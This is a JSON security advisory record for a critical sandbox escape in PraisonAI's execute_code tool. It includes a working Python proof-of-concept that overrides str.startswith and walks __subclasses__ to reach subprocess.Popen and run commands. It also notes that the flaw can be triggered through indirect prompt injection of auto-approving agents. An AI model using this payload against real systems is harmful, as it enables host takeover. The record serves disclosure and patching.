{"id":"CVE-2026-34938","aliases":["PYSEC-2026-484"],"url":"https://o3.security/vulnerability/CVE-2026-34938","summary":"PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code","details":"### Summary\n\n`execute_code()` in `praisonai-agents` runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a `str` subclass with an overridden `startswith()` method to the `_safe_getattr` wrapper, achieving arbitrary OS command execution on the host.\n\n### Details\n\n`python_tools.py:20` (source) -> `python_tools.py:22` (guard bypass) -> `python_tools.py:161` (sink)\n```python\n# source -- _safe_getattr accepts any str subclass\ndef _safe_getattr(obj, name, *default):\n    if isinstance(name, str) and name.startswith('_'):  # isinstance passes for subclasses\n        raise AttributeError(...)\n\n# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword\nFakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\n# sink -- Popen reached via __subclasses__ walk\nr = Popen(['id'], stdout=PIPE, stderr=PIPE)\n```\n\n### PoC\n```python\n\nfrom praisonaiagents.tools.python_tools import execute_code\n\npayload = \"\"\"\nt = type\nFakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})\n\nmro_attr  = FakeStr(''.join(['_','_','m','r','o','_','_']))\nsubs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))\nmod_attr  = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))\nname_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))\nPIPE = -1\n\nobj_class = getattr(type(()), mro_attr)[1]\nfor cls in getattr(obj_class, subs_attr)():\n    try:\n        m = getattr(cls, mod_attr, '')\n        n = getattr(cls, name_attr, '')\n        if m == 'subprocess' and n == 'Popen':\n            r = cls(['id'], stdout=PIPE, stderr=PIPE)\n            out, err = r.communicate()\n            print('RCE:', out.decode())\n            break\n    except Exception as e:\n        print('ERR:', e)\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny user or agent pipeline running `execute_code()` is exposed to full OS command execution as the process user. Deployments using `bot.py`, `autonomy_mode.py`, or `bots_cli.py` set `PRAISONAI_AUTO_APPROVE=true` by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.","published":"2026-04-01T23:17:48Z","modified":"2026-06-29T12:26:47.892413849Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.13176,"percentile":0.96172,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonaiagents","fixedVersion":"1.5.90"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6vh2-h83c-9294"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34938"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-06-29T12:26:47.892413849Z"}}